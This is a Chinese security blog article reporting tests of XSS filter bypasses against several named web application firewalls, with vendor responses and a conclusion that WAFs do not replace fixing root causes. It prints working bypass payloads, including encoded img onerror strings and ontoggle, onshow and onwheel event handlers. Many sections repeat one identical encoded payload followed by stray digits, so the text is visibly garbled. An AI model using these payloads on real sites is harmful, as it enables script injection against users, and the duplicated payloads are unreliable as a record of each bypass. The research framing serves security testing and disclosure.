WAF的XSS绕过姿势

华盟原创文章投稿奖励计划

       WAF的XSS绕过姿势
   

  概要

  由于应用防火墙的广泛使用,实验测试WAF抵御xss攻击的能力变的很有必要。当然所有的实验就是为了证明厂商要从根源上杜绝漏洞,不能躺在WAF上高枕无忧。

  实验测试的对象是一些流行的WAF 例如F5 Big IP、Imperva Incapsula、AQTRONIX WebKnight、PHP-IDS、Mod-Security、Sucuri、QuickDefense、Barracuda WAF 他们都在测试中被绕过。

  介绍

  Web应用防火墙(WAF)是一个应用,服务器插件,或者过滤器,利用一系列规则过滤http会话。通常这些规则用来防御常规威胁,XSS,SQL注入和一些web相关的漏洞。本次测试只关注WAF保护的绕过方法。

  测试环境

Google Chrome
Opera Browser
Mozilla Firefox
Internet Explorer

     测试结果

  1. Imperva Incapsula

  测试中发现,Imperva Incapsula过滤了很多常见的xss载荷,例如<img/src="x"/onerror="alert(1)">就被过滤了。同时发现<img src=x onerror="input">没有检测出来,绕过过滤的唯一的障碍就是寻找在error上的行为。alert(), prompt(), confirm(), eval() 全被禁止,只能找其他替代的方法证明xss漏洞的存在。

  1.1 第一次绕过

  Double URL 编码 + html编码 + Unicode 编码 (全浏览器通过)

  double-url 编码存在于多次URL解码客户端输入的特定服务器。

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25
23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25
26%2523x29%3B%22%3E

  1.2 第二次绕过 :JS-F**K 载荷(全浏览器)

  第二个绕过基于JS-F**K——一种七个字符创建JS的技术,载荷结构跟上面大体相同,

<img/src="x"/onerror="[JS-F**K Payload]">

  动作没问题,唯一的缺点是长度。大多数服务器都对GET请求URL有严格要求,因此用于POST请求更好一点。除了这些,这个载荷看起来很完美。

  2. WebKnight

  WebKnight测试很不一样,它的一系列过滤规则有安全社区频繁的更新,实验确定了两种绕过方法只影响WebKnight v4.1 ,v4.2版本就修复了。

  2.1 第一次绕过 ontoggle JS Event (Google Chrome)

  这次只在Chrome中有效。

  toggle() 方法切换元素的可见状态。

  如果被选元素可见,则隐藏这些元素,如果被选元素隐藏,则显示这些元素。只在chrome中支持。

<details ontoggle=alert(1)>

  2.2 第二次绕过 Onshow JS event (Mozilla Firefox)

  应用了onshow的JS事件 ,用户单击触发脚本,绕过WebKnight 的xss过滤。

<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

  3. F5 Big IP

  F5 Big IP 是公认的企业级应用防火墙,要发现xss绕过思路不仅限于action。

  3.1 第一次绕过 : Onwheel JS 事件 + 在样式属性上指定高度调整页面大小 (Google Chrome &Mozilla Firefox & Opera Browser)

<body style="height:1000px" onwheel="[DATA]">

  3.2 第二次绕过 :Onshow JS event (Mozilla Firefox)

  用户单击,脚本触发。

<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">

  3.3 第三次绕过:JS-F**K 载荷(Google Chrome & Mozilla Firefox & Opera Browser)

<body style="height:1000px" onwheel="[JS-F**Payload]"> 
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k
Payload]">

  3.4 第四次绕过 :HTML编码 + Double URL 编码(Google Chrome & Mozilla Firefox & Opera Browser)

<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"
onshow="prom%25%32%33%25%32%36x70;t(1)">

  4. Barracuda WAF

  结果和 F5 Big IP一样。

  4.1

<body style="height:1000px" onwheel="alert(1)">

  4.2

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25
23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25
26%2523x29%3B%22%3E

0

  5. PHP-IDS

  通过审查过滤规则发现JS 事件并不在黑名单中。除此之外,PHP-IDS 的主要保护措施就是基于JS 事件的action。例如,alert()立刻就会被PHP-IDS发现,同时,所有目前已知的编码技术都被过滤了,还有特定的保护措施防御载荷结构。所以不得不另辟奚径利用一些浏览器行为绕过保护机制。

  5.1 第一次绕过:应用浏览器响应用户输入的行为

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25
23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25
26%2523x29%3B%22%3E

1

  可以绕过 PHP-IDS v0.7

  5.2 第二次绕过:double URL 编码

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25
23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25
26%2523x29%3B%22%3E

2

  6. Mod-Security

  实验表明Mod-Security 对恶意的请求特别敏感,例如,hello%20onsomething=dosomething 就因为onsomething 看起来像JS事件 被标记为潜在的xss脚本攻击。因此要关注内部可用来绕过过滤的漏洞。

  6.1 第一次绕过 使用(&NewLine;)和(&Tab;) (Google Chrome & Opera Browser & Internet Explorer)

  这个载荷包含了一个指向javascript载荷的链接,通常这种方法一定会被检测出来,但是我们用了大量的new lines 和 tab 成功绕过。

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25
23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25
26%2523x29%3B%22%3E

3

  6.2 第二次绕过 US编码绕过 (只有IE6和IE7)

  6.3 第三次绕过 Triple URL 编码

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25
23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25
26%2523x29%3B%22%3E

4

  7. Quick Defense

  当前Quick Defense 的过滤规则还不足以支持产品级的web应用,尽管黑名单中有很多JS事件,用一些编码技术就能绕过。

  7.1 第一次绕过:OnSearch JS 事件 + Unicode 编码 (Google Chrome)

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25
23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25
26%2523x29%3B%22%3E

5

  7.2 第二次绕过 :OnToggle JS 事件 + Unicode 编码(Google Chrome)

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25
23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25
26%2523x29%3B%22%3E

6

  8. Sucuri WAF

  Sucuri WAF 对恶意请求同样相当敏感。在今年四月,许多研究者完全绕过了Sucuri WAF 因而所有的发现都被修补好了,只能依靠旧版的浏览器才能实现xss。

  绕过方法 :US编码 (IE6和IE7)

  厂商回复

  除PHP-IDS没有回复以外其他厂商都修补了漏洞。

  0×05 小结

  结合各自WAF的弱点构造攻击向量绕过过滤器是完全可能的事情,对厂商来说,WAF可以让攻击者花费更多的时间,但是从根本上调查修补漏洞依然必不可少。

华盟知识星球入口

原文地址:https://hack.77169.com/201510/214210.shtm

本文原创,作者:华盟君,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/20485.html

发表评论